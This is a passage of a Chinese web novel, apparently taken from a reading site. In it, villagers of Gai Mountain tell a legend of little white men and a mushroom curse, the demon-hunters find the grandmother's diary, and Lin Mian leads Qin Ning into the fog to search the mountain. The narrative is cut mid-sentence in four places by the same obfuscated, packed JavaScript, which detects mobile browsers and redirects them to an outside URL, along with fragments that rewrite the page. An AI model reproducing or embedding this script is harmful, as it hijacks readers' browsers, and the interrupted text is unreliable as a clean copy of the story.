“眠眠想听故事了?”祝奶奶笑着问,眼神里突然又有一丝悲伤,“以前我孙儿回来的时候,我都会给他讲故事,他听着我的故事,一下子就睡着了,从来没听到过结尾。” “是什么样的故事?”林眠接着问。 祝奶奶回想起那个故事,似乎是想起了什么美好的回忆,脸上笑容加深,说:“林老太没给你讲过么?” “这个故事是我们村子里,人人都知道的故事。” 林眠摇摇头,“我不知道,奶奶从来没和我说过。” 祝奶奶也不觉得奇怪,林老太是个古怪性子。她看着林眠和瞿木,两个年轻人,感觉自己也有些活力了。 “那我说给你们听。” “嗯嗯。”林眠很是激动,她也很喜欢听故事。 祝奶奶慢慢开口说:“很久很久以前,盖山上有一棵很漂亮的树,长得十分的高大,还是银色的,不管是白天还是黑夜,都会散发出炫目的银光。这棵树没有叶子,只有繁茂的枝干,远远看去,就像是用银子做的一样。” 祝奶奶的声音带着老年人特有的沧桑感,但听着又十分的舒服,仿佛真的看到了那棵巨大的树。 瞿木在旁边听着,感觉又回到了小时候,听着爷爷奶奶给自己讲故事,那个悠闲的午后。 “树上生活着一群可爱的白色小人,它们无忧无虑的生活在树上,过着日出而作、日落而息的日子。 “白色小人们在树上生活的很开心,它们供奉着盖山的神明,每到腊月15之后,在新年之前,这些小人们都会到山下来。” 林眠听得很认真,一双眼炯炯有神地看着祝奶奶。 祝奶奶摸了摸林眠的头,接着说:“但不是所有人都能看到白色小人,只有心地善良的小孩子,被选中了才会看到。” “看到了会怎么样?”林眠问。 “会被白色小人们带走,奉献给神明,”祝奶奶笑着说,“可没有哪个父母舍得把自己的孩子送给神明,所以在腊月15后,就不让孩子出门,更加不许去山上。” 林眠仔细地想了想,说:“腊月15,那会儿我也经常出门,也去了山上,可是从来没有见过白色小人。” “因为你心底不善良。”瞿木在旁边打趣林眠说,顺便再夸一波自己,“如果是我,那就不一定了。” 林眠转过头看了一眼瞿木,不满地说:“你肯定也看不见。” 她又回过头来,问祝奶奶:“祝奶奶,后面呢?” “后面啊。”祝奶奶回忆了一下,说:“有一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725531|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,白色小人们下了山,它们想找到一位心地善良的孩子,但冬天到了,孩子们都不出门了。它们就着急呀,在村子里到处转悠。终于,它们发现一个在雪地里堆雪人的小男孩。” 说到这的时候,祝奶奶还卖弄了一下玄虚,“你们猜这个孩子被带走了吗?” “被带走了!”林眠回答的很快。 “我觉得没有,肯定活下来了。”瞿木说,他好歹看过各种各样的童话故事、儿童绘本,刚刚祝奶奶讲的那些,都是背景铺垫,就是铺垫的长了点,这个男孩肯定就是主角,主角哪能死啊? 祝奶奶看向瞿木,说:“诶,你说对了。” “这个男孩被白色小人们带到了山上,带到了那颗银色大树处,在那里,男孩被好吃好喝的对待着,玩的乐不思蜀。 “在山中,在那棵巨大的银色树下,白天和黑夜没有任何区别,也感受不到时间的流逝,男孩就这么一直玩,一直玩,不知不觉中,他就长大了。” 林眠瞪大了双眼,“长大了?” “嗯,长大后的男孩要下山。”祝奶奶说,“白色小人们极力劝阻,但男孩还是坚定的要离开。” “白色小人们没办法,就去请问神明,神明答应了让男孩下山。”祝奶奶说到这的时候,视线在林眠和瞿木身上巡视了一圈。 林眠下意识屏住呼吸。 见多识广的瞿木也舔了下嘴角。 “但是男孩要付出代价才可以,男孩表示什么样的代价他都愿意,只要让他离开这里。”祝奶奶说,“因为男孩想要见自己的父母,他太想念自己的家人了。” “于是,神明就在男孩身上下了诅咒。” “男孩回到村庄的时候,发现已经过去了上百年了,他的父母早已不在人世。村里的人看到他,也没人能认出他了,男孩只能背井离乡,离开了村子。” “奶奶,诅咒是什么?”林眠听着,这都没有说到诅咒呢。 祝奶奶很满意林眠的提问,伸出一根手指,说:“这就是最重要的。” “诅咒就是……” 林眠和瞿木都目不转睛地看着祝奶奶。 “在不久的将来,会变成一颗蘑菇。” 瞿木浑身一震,吓得他差点从沙发上掉下去。 “哈哈哈哈哈,把你吓到了?”祝奶奶见瞿木这么惊慌的模样,乐的开怀大笑,又感慨地说:“我以前给我孙儿讲的时候,他一点都不害怕,还跟我说,人是不可能变成蘑菇的。” 瞿木现在虚的不行,他听着祝奶奶的话,下意识地反驳说:“也…不是不可能。” 他之前就经常做梦,梦到自己变成一颗巨大的蘑菇。 祝奶奶有些疑惑地看向瞿木,说:“你这孩子胆儿真小。” “这个故事是我们盖山村流传了好久的故事了,我是从我奶奶那儿听来的,奶奶说是她的奶奶讲给她听的。” “这一晃,又好多年咯。” 祝奶奶感叹着说,年纪大了,总是难免会回想起以前。 40. 是人吗 林眠和瞿木从祝家出来的时候,已经是中午了。 刚刚祝奶奶一直要他们留下来吃顿饭,拉扯了好久,才离开了祝家。他们哪好意思在老人家家里蹭吃蹭喝的。 “你不觉得这个故事很可怕吗?”瞿木抖了抖身上的鸡皮疙瘩说,前面其实都平平无奇,神话传说也就这么个背景,那个小男孩的故事…也很普通,唯一不普通的就是—— 变成蘑菇! 林眠看瞿木一副被戳了痛脚的样子,无奈摇摇头。她成熟的拍了拍瞿木的肩膀,说:“只是变成蘑菇而已,又不是说你。” “而且盖山上本来就有很多蘑菇嘛,故事也要因地制宜嘛,你不要想太多了。” 瞿木有些吃惊地看着林眠,惊讶地说:“你竟然知道因地制宜这个词。” “你看不起我。”林眠不满地说,她虽然上的学不多,但还是学过一些的,什么地理、生物之类的,她都有认真上课。 瞿木也知道自己这样不好,便笑嘻嘻地拉过林眠,说:“好啦,大中午了,我们回去?虽然知道的不多,好歹也是知道了个睡前故事。” 林眠看了看周围,到了中午,村子里一片寂静,她便同意了,和瞿木一起往回走。 “你们这想要买东西,得去哪儿买?”瞿木问,这村里人都没几个,见过最年轻的就是那个阿牛哥,剩下的都是老人。 更别提商铺了。 “要去埠山镇,每周五都会有一次赶集。”林眠说。 “埠山镇离这那么远,怎么去?”瞿木说。 林眠看了眼瞿木,略点嫌弃地说:“有公交车,每天都会有一趟,只要早上早点去村口等着就行了。” “哦哦。”瞿木愣是没想到,这还有公交车。 回到家的时候,秦宁和柳寂白还在看书,见他们回来了,才从书上抬起头,问:“林小姐,出去问到了什么吗?” “就问到了一个睡前故事。”林眠老实回答。 “我们都没碰到几个人,不过运气还算不错,碰到一个村子里年纪最大的祝奶奶。”瞿木一屁股坐下来,说:“在她家坐了会,她和我们说了个故事。” 比起林眠的意简言骇,瞿木简直就是废话大师。 “你话可真多。”柳寂白直接吐槽说,“你看看林眠,几个字就概括了。” 瞿木抽了抽嘴角。他堂堂瞿家大少爷,第一次有人说他话多! “话多也有话多的好处。”秦宁突然开口。 瞿木感激地看着秦宁,果然好兄弟才是真感情。 “瞿木,就麻烦你说一下你们刚刚听的故事。”秦宁很是耐心地说。 瞿木受宠若惊,茫然地看看秦宁,又看看柳寂白,又侧头看向自己身旁的林眠,最后他谦虚地说:“要不还是让林眠说吧。” “你说,你说了之后,我再听听林眠的。”秦宁早有自己的想法。村子里的故事传说,经过不知道多少年的改编,或许和最开始已经完全不一样了,但细枝末节里,往往隐藏着最重要的信息。 林眠看向瞿木,说:“你说嘛,我不怎么会讲故事。” 瞿木看着林眠,有些无奈,她这话一说,显得自己像个小孩子一样,需要被哄着。他是哪样的人吗? 但瞿木还是很富有感情的将这个睡前故事给讲完了。 他一讲完,秦宁就伸出手,让瞿木停止说话,转而看向林眠。 瞿木只好把嘴闭上,把自己想说的话都咽下去,让林眠说。 林眠说的要比瞿木的简略一些,但大体上都是一致的。 瞿木见林眠说完,才发表自己的想法:“我觉得这个故事大体比较一般,就结尾处非常不一样。” “神的诅咒竟然是把人变成蘑菇?这多搞笑啊。” 林眠在旁边幽幽地说一句:“你刚刚明明还很害怕。” “咳咳。”瞿木撇了一眼林眠,把大拇指和食指并拢在一起,说:“虽然和我的身上的事,有一点点相似,难道菌丝就是这个故事里的神明?” 秦宁点点头,说:“这盖山所谓的神明,如果真的有,那大概率是妖物,很多妖物被人看到过,自然就会被描述记录下来,只是形态各异。这个故事确实有些普通,但提到了蘑菇这点,或许不是巧合。” “只是,”秦宁停顿了一下,“这整个故事里,有盖山神明、白色小人、还有那棵树,如果盖山神明对应的是菌丝,那么白色小人和树又是什么?” “信息还是太少了。”柳寂白说,“这妖物能让人变成蘑菇,倒是和瞿木身上的状况符合,或许这妖物还真是菌丝。” “不过,那为什么这菌丝会寄生在林眠身上?它既然是盖山山上的妖物,又为什么要把自己困在躯壳里面?” 秦宁也思考过这个问题,猜测着说:“如果按照这个故事,最早的菌丝不会寄生在人的体内,那个男孩的故事就和瞿木的状况一样,是菌丝特有的能力。” “那么,之后为什么会将自己的本体寄生在人身上,和人共存?” 瞿木听着他们两个说,忍不住问:“你们两个看了快一天的书了,这些书里没有一点线索?” 秦宁摇摇头,“这些书都不是市面上有的书籍,看字迹和老旧程度,是一代一代人手写而流传下来的。” “我目前看的,都是一些神婆的传家手艺,招魂之类的。” 柳寂白指了指自己刚刚看的那一本,说:“我这本也是,详细的记录了神婆为人办事的过程,不过这其中也有提到妖物。 “为了不错过信息,我也只能认真看完。” 柳寂白说着,有些疲惫地揉了揉肩膀,那阁楼上一个房间都是书籍,但不是按照顺序排放的,杂乱无比。 这个状况,也只能一本一本去找线索。 “林小姐,我发现这些书籍都是你家里的祖辈留下来的,看记录,你家应该是祖祖辈辈都是做神婆,且有一定的威名。 “这些书,你之前没有阅读过吗?”秦宁也想缩小点范围,但这里只能找林眠。 林眠端正的坐着,听着他们讨论,见秦宁问自己,她沉默的摇了摇头,低声说:“奶奶从不让我看,她说我是不能看这些的。” “奶奶不是很喜欢我。” 她的语气不是很高昂,和平时没心没肺的样子不太一样。 屋内也突然沉默了下来。 沉默了大约十几秒,瞿木打破僵局,说:“大中午了,你们肚子不饿吗?我快饿死了,我们去弄点吃的吧。” “我去。”林眠主动起身说,然后朝着厨房走去。 柳寂白看了眼秦宁,抿着唇,随后才低声说了句:“她…似乎有点不开心。” “我认识的林小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729324|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不应该是会为了这点事不开心。”秦宁说。他认为林眠是一个很适合加入除妖师的人,遇事冷静、不急不躁,且对人、对妖物,都没有太明显的偏向。 瞿木看着他们,瞬间也不太高兴了。 “那是她的奶奶,被自己的亲人不喜欢,难道还不能不开心吗?”瞿木说完这句话,没好气地说:“我去帮忙。” 抛下这句话,他就朝厨房走去了。 柳寂白不太好意思的咳了一下,对秦宁说:“他这话可不是说我啊,你好好反思一下。” “我去阁楼再找一本看看。” 柳寂白说完,就朝阁楼处走去,没一下就爬上去了。 秦宁坐在原位,他…还是第一次被人指责。 厨房处。 林眠已经把火生起来了,也将米淘好了,正准备下锅蒸饭。她见瞿木进来,说:“中午做炒饭吧,家里没什么东西了。” “好在我们今天中午的时候,被祝奶奶硬塞了几个鸡蛋。” 瞿木看向盘里的三个鸡蛋,又小心翼翼地看向林眠,说:“我来炒吧。” “你会?”林眠有些吃惊,她一直觉得瞿木是十指不沾阳春水的。 “不要小看我,我也是很会做饭的好不好?”瞿木很是自信地说。 林眠脸上闪过几丝犹豫,最终还是点头答应了。 厨房里又陷入了沉默。 林眠坐在火灶前,看着灶肚里的火焰,不知道在想些什么。 瞿木搬来小凳子,坐在林眠旁边,跟着她一起看灶肚里的柴火燃烧。 “秦宁说话是无心的,他只是想要尽快了解菌丝。”瞿木沉默了许久,才干巴巴的开口解释说。 “我知道。”林眠不是个善于纠结的人,她刚才…感觉心里就像是被什么东西划过了一样,十分的不舒服,一种种莫名的情感涌了出来。 “我是人吗?”林眠侧过头,问瞿木。 瞿木看着林眠,她的眉眼处看不出什么情绪来,就像是问一个与她毫无相干的问题,但她的眼睛里,分明是有一丝丝的疑惑。 “我不清楚,阿轻说我只是菌丝的躯壳,况衍君说我是被选中的,秦宁他们也只想着研究我身体里的菌丝。 “那我…还是我吗?”林眠眉头微颦,她从不反感菌丝的存在。甚至,她认为自己和菌丝是一体的,只是现在这么多的人和事摆在自己的面前,她不由得开始思考—— 菌丝和她,究竟是什么? 瞿木想要安慰她,可是又不知道该怎么说。 林眠也没想要瞿木说些什么,只是接着说:“奶奶她…一直说我不是人,她要我学习当个人。” “你觉得我像是人了吗?” 林眠说的很平静,问的也很平静。 瞿木感觉喉咙处有些哽咽,就像是被人掐住了脖子一样,他咽了一口口水,有些艰难地开口:“在我的心里,你一直都是林眠,不是菌丝。” “你现在所说的、所做的,都是出于你自己的意愿和想法,不是菌丝让你说的、让你做的。你肯定是你自己,是林眠,是人。” 林眠没说话,只是一双眼盯着瞿木看。 这反而把瞿木弄的不知所措了。他也算是脸皮比较厚的人,可这么被林眠看着,他就…受不太住了。 “谢谢你,瞿木。”林眠突然开口说。 41. 日记 “谢什么,我只是实话实说。”瞿木见林眠变得开心了一些,说话也就大声了些、放开了些。 “你现在这个样子就很好了,不要听他们胡说。”瞿木说道。 他说完,就发现林眠一双眼亮晶晶的,又盯着自己了。 “你是第一个这么夸我的。”林眠露出笑容,肉眼可见的开心,上前拉住瞿木的手说。 瞿木感受着手臂处的柔软,完蛋了,他感觉自己的心跳就像是擂鼓声一样,咚咚咚,怎么都控制不住。 “啊,米饭好了。”林眠见锅盖上冒着白色烟气,连忙走过去,用布打开锅盖,再用筷子戳了一下,确实蒸好了。 瞿木也才回过神来,调整了一下自己的心态,说:“我来炒吧。” “好,我给你帮忙。” 瞿木也没拒绝,主要是这玩意是土灶,锅也是超级大锅,他还从来没用过这种锅,也确实需要林眠的帮忙。 此时,客厅外。 秦宁虽然自责了一会,但很快又投身书海中。他上了阁楼又翻找了一下,在角落处找到一本看着比较崭新的本子。 这个本子外表和其他书籍大差不差,但能看出来,颜色要新上不上,看上倒像是最近的。他之前找的时候,特地找的旧的,因为新的不一定会有记载到菌丝。 但这一本实在是太新了,新的让人产生了好奇,他之前怎么没有发现? 秦宁在心里暗自恼悔。 他翻开,第一页。 【2004年12月15日大雪 今年的雪下的格外的大,家门口处有厚厚的积雪,我拿着扫帚去扫雪。今天的天阴沉沉的,不是个好天气。 在今天,我的女儿回来了,她告诉我,她生了一个女儿。取名为眠,林眠。】 秦宁正准备接着看下去的时候,楼下传来的瞿木的声音。 “吃饭了,秦宁,快点下来。” “这可是本大少亲自做的蛋炒饭,来晚了就没有你的份了。” 秦宁应了一声,快速地翻了几页看了看,楼下的瞿木又在催促,他才将这本应该称为日记的本子收好,从阁楼上下来。 他下来的时候,桌上摆了四碗炒饭。 林眠正端着一个小碗走过来,放到桌上,说:“我刚刚把家里腌的酸菜拿出来了,还能吃。” “快坐下来吃饭,根本不用给他们准备什么小菜。”瞿木说着端起碗,拿起筷子,吃饭。 秦宁下来,看着这碗炒饭,抬头看了眼坐在自己对面的林眠,想了想,还是拿起筷子吃饭。 柳寂白这次也没多说什么,只是也默默地吃饭。 吃完饭后,林眠就准备收桌子,被秦宁拦下了。 “林小姐,刚刚是你和瞿木做的饭,洗碗的事就交给我和柳寂白好了。”秦宁说完,直接端起桌上的碗,往厨房走去。 突然被提及的柳寂白一脸懵,但看着秦宁走远,又看了眼桌上自己的饭碗。这人,肯定是故意不收自己的! 小气死了! 柳寂白只好端起自己的碗,朝秦宁追了上去。 林眠一脸懵地看着他们离开,现在自己没事可做了。她就顺手拿起刚刚柳寂白放在一旁的书,看了看。 瞿木凑了过来,问:“写的什么?” “我看不明白。”林眠将书挪了挪,让瞿木也看看。 瞿木低头看了一下,都是繁体字,不过也能认的出来,只要是这上面写的都是一些术语之类的,什么阴阳之术的东西。 “我也不懂这些。”瞿木摇摇头,再仔细看了看,指着一处说:“不过这上面有日期,这是… “民国时期的!” 林眠眨眨眼,民国?那就不是自己奶奶写的了。 “看来你家做这一行,做的还挺久的。”瞿木随便翻了几页,看了个大概,基本上都是谁谁谁请求帮忙,做什么法事之类的。 这一本就像是记事录,详细的记载了每一件法事的过程,以及结果。 秦宁和柳寂白从厨房出来的时候,两个人的脸色都不太好,尤其是柳寂白,脸都白上了几分,看样子气的不轻。 柳寂白看了眼瞿木和林眠,说:“我出去走走,晚点回来。” 秦宁则一言不发的爬上阁楼,进入那间堆满书籍的房间里。 他想了一下,这些书籍实在是太杂乱了,但每一本翻开看看,大致能判断是什么类型的书籍。 如果将这些书都分类好,那就方便太多了。只是以他一个人的力量,怕是要费上不少时间。 思来想起,秦宁还是从阁楼上探出个脑袋,对下面的瞿木和林眠说:“你们能上来帮我个忙吗?” 瞿木本来想和林眠说话,但秦宁突然冒出来,他只好将话咽下,看向林眠。之前林眠说她奶奶不让她接触这些书籍… “好。”林眠仰起头,对秦宁说。 说完,她就走到楼梯处,准备爬上去。 瞿木愣了一下,连忙说:“我也去。” 三个人聚在阁楼处,看着小房间里一堆堆的书,瞿木忍不住感慨:“你奶奶肯定没有强迫症。” “这书怕是一本一本扔进去的吧。” 林眠突然扭过头,看着瞿木,一字一句道:“这些书本来都在奶奶房间的,是奶奶去世后,我整理遗物,才将这些书都搬到这里来的。” “咳。”瞿木尴尬的咳了一声,这么一说,他也不是不能理解这些书看起来跟废品一样堆在这了。 秦宁等他们两个说完,才开口说:“这些书实在是太多了,堆在一起,很难找到我们想要的信息。” “我看了一下,这些书大致可以分为三大类,一是类似于记事录,就是记载了外出办事,大部分都是帮办法事,驱鬼之类的。” “这个我知道。”瞿木说道,他刚刚在下面看到了一本。 秦宁点点头,接着说:“这种是最多的,还有一种是整理集,也是偏向技术类的,就是在记事录的基础上,将遇到的杂难疑症整理、再记录上解决办法。类似于百科全书,几乎每一代人都有整理。” 说到这里,秦宁也感到很佩服。这项工程至少持续了几百年,一代一代人传承。 “最后一个,就是杂记了。不是上面这两类的,都可以归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733379|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这里,例如…日记之类的。”秦宁说到这的时候,有一点迟疑。 那本日记他匆匆看了几眼,看样子是林眠奶奶记录了养育林眠这段时间的事情。按照林眠的说法,菌丝应该很早就在她的体内了,因此这本日记十分有参考价值。 但经历了中午的事,让向来利索的他,也不禁有些犹豫了。因为他从这匆匆几眼里,看出林眠的奶奶…确实很不欢迎她的到来。 林眠和瞿木没注意到秦宁的异常,见秦宁说完,两人就去整理了。 秦宁也只好将这件事先放在心里,跟着他们一起整理书籍。 三个人相处了也快有两个月了,瞿木也就不避讳什么的了,直接用手肘戳了戳秦宁,调侃地问他:“你刚刚在厨房里,和柳寂白发生什么事了?” “她刚刚气的脸都白了。” 秦宁看了眼瞿木,冷着脸说:“八卦。” 瞿木张了张嘴,八卦?他这是团结友爱,关心伙伴好不好? “她在这人生地不熟的,你就不怕她找不到回来的路啊?”瞿木嘟囔着说,怎么一点绅士风度都没有。 秦宁顿了一下,才说:“她是除妖师,除非她自己不想回来,不然不可能会迷路。” 瞿木也无话可说了。 “啊。” 瞿木听到林眠的动静,立马回过头,问:“怎么了?怎么了?” 林眠眨眨眼,手上还拿着几本书,说:“晚上盖山会起雾,很容易迷路的。” “雾而已,秦宁不是说了么,柳寂白是除妖师,还是什么三大家族之一,实力肯定很强,我们不用担心,是吧?秦大师。”瞿木一只手搭在秦宁的肩上说。 秦宁侧身甩开瞿木的手,没吭声,埋头整理书籍。 这个话题就这么打住了。 林眠对繁体字实在不认识,本来认识的字也不多,这都是繁体字,她更加不认识了,只能将书本递给瞿木,让瞿木来辨认,自己就打打下手。 忙活了一下午,天都已经黑了,他们才将房间里的书籍都分类完。 “大多数都是记事录,整理集也有不少,杂记之类的就很少了,基本上都是日记。”瞿木在一旁清算,还顺带问秦宁:“这些里面,哪个会比较容易出现菌丝的线索啊?” 秦宁摇摇头,又迟疑地说:“日记?” “日记?我刚刚随便看了一本,没看出什么特别之处。”瞿木看着那一堆,大概有十几本的日记,说道。 林家人都喜欢写日记,但是正经人谁写日记啊? “叩叩。” “林眠,在吗?” 外面传来了一道熟悉的声音。 林眠一听声音,便说:“阿牛哥来了。” 说完,她连忙从阁楼上下去,走到门口处去开门。 瞿木听到“牛饮春”三个字,立马翻了个白眼,对秦宁说:“我也下去了。” “嗯。”秦宁对这个“阿牛哥”没什么兴趣,见林眠和瞿木都下去了,他才拿出自己藏着的那本日记本,看了起来。 中午他匆匆忙忙看的时候,发现里面提到了“菌丝”两个字。 42. 进山 牛饮春提着一个篮子在门口。 林眠一打开门,他便将篮子往前提了提,笑着说:“在干嘛呢?最近毛豆大丰收,我给你拿了一些。” “谢谢。”林眠接过篮子,掀开布看了看,这篮子毛豆都是煮熟了的。 牛饮春又把放在地上一个蛇皮袋提了起来,往里面走,说:“我还拿了一些别的蔬菜瓜果,你这么久没回来,菜地也都荒废了。” 林眠看着那一大袋子的蔬菜,想到自己家里的瞿木一行人,便欣然接受。 “谢谢你,阿牛哥,你来的太及时了。”林眠实话实说,因为今晚家里除了米,真的没别的东西了。 今天又忙着给书籍分类,导致她忘记去镇上买点菜了。 “不用。”牛饮春笑呵呵的、轻车熟路的将东西提到厨房的一处角落里。 瞿木悄无声息的站在一旁,看着他们两个。 林眠见有菜了,又到了晚上,便连忙准备去生火蒸大米饭。 “我……”牛饮春刚刚开口,就见瞿木冲了过来,一下子挤到林眠面前。 “我来帮忙。”瞿木直接打断了牛饮春的话,拿起一旁的不锈钢铁盆,也轻车熟路的去舀米、淘米。 牛饮春见状,就只好去拿蔬菜,问:“今晚吃瓜,可以吗?” “好。” 瞿木正在淘米,手上一顿,回头看着牛饮春,他今晚要在这吃饭?虽然他提了不少东西过来,要留下来吃顿饭也是合情合理,但…… 他就是感觉到十分的不爽! 三个人在厨房里各司其职,牛饮春多次想开口和林眠说话,但一抬头就对上瞿木的目光,犹豫再三,他还是没开口说,只能沉默的干活。 秦宁快速地看完了日记,实在是太震撼了。他在笔记里,看到了林眠的成长轨迹,更加看到了菌丝在林眠身体里活动。 而且,从日记中可以确定,菌丝与盖山村有脱不了的干系,林家人对菌丝也极其的了解。 他怀着激动的心情,从阁楼上下来的时候,林眠他们已经做好饭了,还多了一个陌生人。 “这是阿牛哥,”林眠介绍说,“这是秦宁,是名特别出名的除妖师。” 牛饮春听到“除妖师”三个字,脸上明显愣了一下,随后自我介绍说:“我叫牛饮春,喊我阿牛就好。” “你好。”秦宁点头示好,见有外人来了,便也没开口多说些其他的。 瞿木看着他们几个,怎么秦宁还有前缀形容词啊?早上林眠介绍自己的时候,就只说了瞿木两个字,都没给自己加个前缀词。 林眠见他们都认识了,便将碗筷摆好,同时看了看外面的天色,说:“柳大师还没回来,真的不会出事吗?” “都这么晚了,还没回来,有这么生气吗?”瞿木也觉得不对劲,他戳了戳秦宁,问他:“你们到底吵了些什么?” “人不见了?去哪了?我对村子熟,可以帮忙找找。”牛饮春听到有人不见了,很是热心的表示要去帮忙。 秦宁虽然不是很担心柳寂白会出事,但这么晚还没回来,她会去哪里? “稍等一下。”秦宁说,又有些顾忌地看了眼牛饮春。 牛饮春虽然是村子里长大的,但他也不是傻愣子,很明显看出秦宁有些顾忌自己,便说:“我去下厨房拿东西。” 他说完就走了。 秦宁这才抬手画符,嘴里念决。 一张红色的符出现在空中,朝一个方向飘过去。 “林小姐,这个方向是什么地方?”秦宁问。 林眠看着符咒飘向的方向,有些惊讶地说:“那边没有人家居住,是盖山的方向。” 盖山村基本上四面环山,但从林眠家的方向看去,刚好符咒指的方向是进山的方向,且无人居住。 “她进山做什么?”瞿木一听,就感觉事情不妙,“这晚上气温低,她这大晚上在山上,极限运动啊?” “那个人进山了?”牛饮春从厨房出来,就听到他们说的话,语调都提高了一些。 林眠解释说:“晚上盖山会起大雾,在山里很难辨别方向。” “我们本地人都不敢在晚上进山,下午五点前一定要下山。”牛饮春说。 瞿木看着秦宁,问:“这怎么办啊?” “进山找人。”秦宁毫不犹豫地说。 “山里面都是雾,根本看不清方向,你们进去了也会找不到路的。”牛饮春劝阻说,“如果她语气好,找到山洞,过一晚应该没事。” “等明天天亮了,雾散开了,我带你们进山。” 秦宁并不认可,反问他:“如果没找到山洞,是不是就必死无疑?” “额。”牛饮春语塞,“都说不好。” 瞿木看着他们几个,这个大雾确实不适合进山,可柳寂白在山上出什么事,那他们肯定要自责一辈子。 林眠举手说:“我带秦宁进山吧。” “我对盖山很熟悉,晚上的时候也进去过。” 瞿木一听,这不行,那他呢? “不行,这山里太危险了。”牛饮春第一个说出口不同意,他上前对林眠说:“现在已经是秋季了,山上温度太低了。” 瞿木看着他们两个,尤其是牛饮春那副把担忧明晃晃写在脸上的模样,心里就有些异样,可他私心里,也希望林眠不要去涉险。 “我没事,阿牛哥。”林眠说着,咬着下唇,她不知道怎么跟阿牛哥解释。以前奶奶在的时候,不允许她在人的面前展示菌丝,因此村子里的人也只把她当成普通人。 可林眠心里清楚,她和普通人不一样。 “阿牛,你放心,我和林眠会没事的。”秦宁也认可林眠的做法,由他和林眠进去是最合适的。 牛饮春还想说什么,在林眠坚定的目光之下,也只好闭上了嘴。 瞿木指着牛饮春,说:“他不能进去我能理解,我为什么不能一起?” 这些日子里,都是有难同当,有福同享,怎么这次就把他丢下了? “你帮我看家嘛。”林眠说道。 “看什么家?”瞿木扭头看向四周,这简直就是家徒四壁,家电都没,小偷也不会来这偷啊? 林眠说:“厨房里的米,还有阿牛哥提来的瓜果蔬菜。” 瞿木:那还不如不看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737878|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这件事就这么决定了。 出发之前,四个人还是聚在一起,先把饭给吃了,毕竟爬山还是体力活,特别是这种未开发的山。 外面雾蒙蒙一片,远处有个小池塘,此刻蛙鸣一起一伏,如同黑夜中的交响乐队。 林眠和秦宁出发了,牛饮春心里怀着不安,和瞿木说了一声就离开了。只留下瞿木一个人在家里。 瞿木自然不会挽留牛饮春,甚至巴不得牛饮春快点离开。但这屋子里突然只剩下自己,黄色的灯光一闪一闪的,有些瘆人。 另一边,林眠带着秦宁进山。 林眠拿着手电筒,走在前边,这里有一条极为小的路,周围树影重重,杂草到膝盖处,走一下就发出“唰唰”声。 不知道为什么,今晚整个天空都是乌黑的,月亮早就被云层遮挡住,星星也无法渗透一点光芒。 进山的时候还好,基本上除了黑一些,也没出现别的问题。但秦宁发现,越往山里走,雾气就越来越重了。 也不知道走了多久,他发现身上已经湿了一大半。这里十分的潮湿,伸出手一摸,都能摸到一手的水,旁边的树木和杂草上,也都是水珠。 这么湿,不太符合科学。秦宁边走边想,他画了符咒在前面指明方向,而林眠则在前面带路。 不得不说,她走的路很安全,一路上连只虫子都没看到。但林眠安静的有些奇怪,自从进山后,她一句话都没说,只是埋着头往前走。 “林小姐,需要休息会吗?”秦宁虽然体力还行,但大晚上这么爬山,他一个大男人也难免有些气喘吁吁,他也担忧林眠撑不撑得住。 林眠没有回头,脚步也没有停下来,接着往前走。 秦宁也只好跟上。他和林眠大约只隔了二十厘米,再远一些,就会被大雾给挡住视线,看不见人了。 不知道为什么,秦宁感觉在这样的环境下,人体应该感觉到难受,倒是林眠越爬越有精神了。 逐渐的,他快跟不上了。 在之后,秦宁看不到林眠的身影了。他浑身湿透了,脚下也越来越重,冷的他打了个寒颤,但看不到林眠让他清醒了一些,朝着周围喊: “林眠!林眠!” 没有得到回应。 秦宁喘着气,雾似乎更重了,他只能看到自己眼前的五指。但现在这个情况,他只能咬着牙画符咒,顺着符咒的方向前进。 大概走了十几分钟,他看到前方有一丝亮光出现,随着他越往前走,亮光就越多,就像是编织的银线一样,在这团雾气中熠熠生辉。 